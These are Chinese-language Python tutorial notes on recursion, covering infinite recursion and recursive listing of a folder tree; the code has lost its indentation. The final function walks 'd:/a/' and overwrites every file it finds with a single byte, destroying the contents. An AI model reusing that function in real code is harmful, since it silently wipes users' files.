函数自己调用自己
def func():
print("我是递归")
func()
func() # 官方最大1000,你永远跑不到1000, 我实测998
while 1:
print("我不是递归")
树形结构的遍历
import os
def func(lujing, n): # "d:/a/"
lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
for el in lst: # el是文件的名字. b, c
# 还原文件路径
path = os.path.join(lujing, el) # "d:/a/b"
if os.path.isdir(path): # 判断路径是否是文件夹
print("..." * n,el) # 显示文件夹的名字
func(path, n + 1) # 在来一次 ################
else:
print("\t" * n,el) # 显示文件
func("d:/a", 0)
def func(lujing, n): # d:/a/b
lst = os.listdir(lujing)
for el in lst: # b, c
# 路径
path = os.path.join(lujing, el) # 拼接路径 d:/a/b
# 判断是文件还是文件夹
if os.path.isdir(path):
print("\t" * n, el)
func(path, n+1)
else:
f = open(path, mode="wb")
f.write(b'1')
print("\t" * n, el)
func("d:/a/", 0)